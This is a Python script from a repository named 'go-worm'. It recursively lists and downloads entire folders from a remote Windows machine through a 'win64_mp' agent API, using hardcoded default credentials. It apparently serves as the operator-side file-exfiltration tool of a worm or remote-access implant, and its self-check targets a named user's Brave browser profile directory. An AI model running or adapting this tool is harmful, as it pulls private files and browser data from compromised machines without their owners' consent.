Files
go-worm/scripts/pull-folder.py
T

266 lines
8.8 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
"""Pull a remote Windows folder via the win64_mp file API."""
from __future__ import annotations
import argparse
import base64
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path
AUTH_USER = os.environ.get("AUTH_USER", "admin")
AUTH_PASS = os.environ.get("AUTH_PASS", "blueberries")
def win_join(parent: str, name: str) -> str:
parent = parent.rstrip("\\/")
name = name.replace("/", "\\").strip("\\")
if not name or name in (".", "..") or "\\" in name:
raise ValueError(f"bad entry name: {name!r}")
if parent.endswith(":"):
return parent + "\\" + name
return parent + "\\" + name
def norm_win(path: str) -> str:
return path.replace("/", "\\").rstrip("\\").lower()
def should_skip(remote: str, name: str, patterns: list[str]) -> bool:
remote_n = norm_win(remote)
name_n = name.replace("/", "\\").strip("\\").lower()
for raw in patterns:
pattern = norm_win(raw)
if not pattern:
continue
if "\\" not in pattern and ":" not in pattern:
if name_n == pattern:
return True
continue
if remote_n == pattern or remote_n.endswith("\\" + pattern) or remote_n.startswith(pattern + "\\"):
return True
return False
def split_skips(items: list[str]) -> list[str]:
out: list[str] = []
for item in items:
for part in item.split(","):
part = part.strip()
if part:
out.append(part)
return out
def prompt(label: str) -> str:
try:
value = input(f"{label}: ").strip()
except EOFError:
sys.exit("no input")
if not value:
sys.exit(f"{label} is required")
return value
def prompt_optional(label: str) -> str:
try:
return input(f"{label}: ").strip()
except EOFError:
return ""
def base_url(raw: str) -> str:
raw = raw.strip().rstrip("/")
if "://" not in raw:
raw = "http://" + raw
parsed = urllib.parse.urlparse(raw)
if not parsed.hostname:
sys.exit(f"bad endpoint: {raw}")
port = parsed.port or 5032
return f"{parsed.scheme}://{parsed.hostname}:{port}"
def local_root_for(win_path: str) -> Path:
name = win_path.rstrip("\\/").replace("/", "\\").rsplit("\\", 1)[-1]
if not name or name.endswith(":"):
name = "pull"
dest = Path("pulls") / name
dest.mkdir(parents=True, exist_ok=True)
return dest.resolve()
class Agent:
def __init__(self, origin: str) -> None:
self.origin = origin
self.auth = "Basic " + base64.b64encode(f"{AUTH_USER}:{AUTH_PASS}".encode()).decode()
def request(self, path: str, query: dict[str, str], dest: Path | None = None) -> object | None:
qs = urllib.parse.urlencode(query)
url = f"{self.origin}{path}"
if qs:
url += "?" + qs
req = urllib.request.Request(url, headers={"Authorization": self.auth})
try:
with urllib.request.urlopen(req, timeout=300) as resp:
if dest is None:
return json.load(resp)
dest.parent.mkdir(parents=True, exist_ok=True)
with dest.open("wb") as out:
while True:
chunk = resp.read(1024 * 1024)
if not chunk:
break
out.write(chunk)
return None
except urllib.error.HTTPError as err:
detail = err.read().decode("utf-8", "replace")
try:
detail = json.loads(detail).get("error", detail)
except json.JSONDecodeError:
pass
raise RuntimeError(f"{err.code} {path}: {detail}") from err
except urllib.error.URLError as err:
raise RuntimeError(f"connect {self.origin}: {err.reason}") from err
def health(self) -> None:
body = self.request("/health", {})
if not isinstance(body, dict) or body.get("status") != "ok":
raise RuntimeError(f"unexpected health: {body}")
def list_dir(self, win_path: str) -> list[dict]:
body = self.request("/api/v1/files", {"path": win_path, "depth": "0"})
if not isinstance(body, dict):
raise RuntimeError(f"bad list response: {body}")
entries = body.get("entries") or []
if not isinstance(entries, list):
raise RuntimeError("list entries is not an array")
return entries
def download(self, win_path: str, dest: Path) -> None:
self.request("/api/v1/download", {"path": win_path}, dest=dest)
def already_have(local: Path, size: object) -> bool:
if not local.is_file():
return False
try:
return local.stat().st_size == int(size)
except (TypeError, ValueError):
return False
def pull(
agent: Agent, remote: str, dest_root: Path, rel: Path, skips: list[str]
) -> tuple[int, int, int]:
try:
entries = agent.list_dir(remote)
except RuntimeError as err:
print(f"skip dir {remote}: {err}", file=sys.stderr)
return 0, 0, 1
dest_root.joinpath(rel).mkdir(parents=True, exist_ok=True)
files_ok = 0
files_skip = 0
files_fail = 0
for entry in entries:
name = str(entry.get("name") or "")
kind = str(entry.get("type") or "")
try:
child = win_join(remote, name)
except ValueError as err:
print(f"skip {err}", file=sys.stderr)
files_fail += 1
continue
if should_skip(child, name, skips):
print(f"skip {child}")
files_skip += 1
continue
if kind == "dir":
ok, skipped, fail = pull(agent, child, dest_root, rel / name, skips)
files_ok += ok
files_skip += skipped
files_fail += fail
continue
if kind != "file":
print(f"skip {child}: unknown type {kind!r}", file=sys.stderr)
files_fail += 1
continue
local = dest_root / rel / name
if already_have(local, entry.get("size")):
files_skip += 1
continue
print(f"{child} ({entry.get('size', '?')} bytes)")
try:
agent.download(child, local)
files_ok += 1
except RuntimeError as err:
print(f" fail: {err}", file=sys.stderr)
files_fail += 1
return files_ok, files_skip, files_fail
def self_check() -> None:
assert win_join(r"C:\Users\me", "docs") == r"C:\Users\me\docs"
assert win_join(r"C:", "Windows") == r"C:\Windows"
assert base_url("10.0.0.5:5032") == "http://10.0.0.5:5032"
assert base_url("http://10.0.0.5") == "http://10.0.0.5:5032"
cache = r"C:\Users\Larisa\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Service Worker\CacheStorage"
assert should_skip(cache, "CacheStorage", ["CacheStorage"])
assert should_skip(cache, "CacheStorage", [r"Default\Service Worker\CacheStorage"])
assert should_skip(cache, "CacheStorage", [cache])
assert not should_skip(r"C:\Users\Larisa\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default", "Default", ["CacheStorage"])
assert split_skips(["CacheStorage,GPUCache", "Code Cache"]) == ["CacheStorage", "GPUCache", "Code Cache"]
print("ok")
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Download a remote Windows folder via win64_mp")
parser.add_argument("endpoint", nargs="?", help="ip:port of the agent")
parser.add_argument("remote", nargs="?", help="absolute Windows folder path")
parser.add_argument("dest", nargs="?", help="local destination directory")
parser.add_argument(
"--skip",
"-s",
action="append",
default=[],
metavar="NAME",
help="folder name or path to ignore; repeatable, comma-separated ok",
)
parser.add_argument("--self-check", action="store_true")
return parser.parse_args()
def main() -> None:
args = parse_args()
if args.self_check:
self_check()
return
endpoint = args.endpoint or prompt("Endpoint (ip:port)")
remote = args.remote or prompt("Windows folder path")
skips = split_skips(args.skip)
if not skips and args.endpoint is None:
skips = split_skips([prompt_optional("Skip folders (comma-separated, empty for none)")])
origin = base_url(endpoint)
dest = Path(args.dest).resolve() if args.dest else local_root_for(remote)
dest.mkdir(parents=True, exist_ok=True)
agent = Agent(origin)
print(f"checking {origin}/health")
agent.health()
print(f"pulling {remote} -> {dest}")
if skips:
print("skipping: " + ", ".join(skips))
ok, skipped, fail = pull(agent, remote, dest, Path(), skips)
print(f"done: {ok} downloaded, {skipped} skipped, {fail} failures")
if fail:
sys.exit(1)
if __name__ == "__main__":
main()